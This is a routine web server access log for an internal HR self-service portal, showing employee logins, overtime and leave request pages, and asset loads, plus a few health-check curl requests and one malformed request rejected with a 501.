192.168.11.68 - - [05/Sep/2025:08:42:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31094670524474 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31094670524474" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.12.100 - - [05/Sep/2025:08:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:42:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.68 - - [05/Sep/2025:08:42:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.68 - - [05/Sep/2025:08:42:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:42:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168860 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168860
192.168.11.68 - - [05/Sep/2025:08:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [05/Sep/2025:08:44:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [05/Sep/2025:08:44:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [05/Sep/2025:08:44:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [05/Sep/2025:08:44:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:44:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:08:45:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:08:45:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [05/Sep/2025:08:45:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:03 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:03 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [05/Sep/2025:08:45:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [05/Sep/2025:08:45:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
100.64.0.1 - - [05/Sep/2025:08:45:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:45:24 +0800] "GET / HTTP/1.1" 200 439
192.168.11.136 - - [05/Sep/2025:08:45:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2460785279698261 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2460785279698261 HTTP/1.1" 200 8900
192.168.11.136 - - [05/Sep/2025:08:45:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2460785279698261 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2460785279698261" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2460785279698261 HTTP/1.1" 200 24844
100.64.0.1 - - [05/Sep/2025:08:45:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:45:55 +0800] "GET / HTTP/1.1" 200 439
192.168.11.136 - - [05/Sep/2025:08:45:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.136 - - [05/Sep/2025:08:45:58 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.136 - - [05/Sep/2025:08:45:58 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:08:45:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:45:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:08:45:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:46:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144209400874591 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:46:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144209400874591 HTTP/1.1" 200 8900
192.168.11.136 - - [05/Sep/2025:08:46:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144209400874591 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144209400874591" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:46:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144209400874591 HTTP/1.1" 200 24844
192.168.40.91 - - [05/Sep/2025:08:46:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:08:46:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:08:46:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [05/Sep/2025:08:46:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:08:46:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.91 - - [05/Sep/2025:08:46:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [05/Sep/2025:08:46:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:46:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.136 - - [05/Sep/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [05/Sep/2025:08:47:08 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:08:47:08 +0800] "\x03" 501 203 "-" "-"
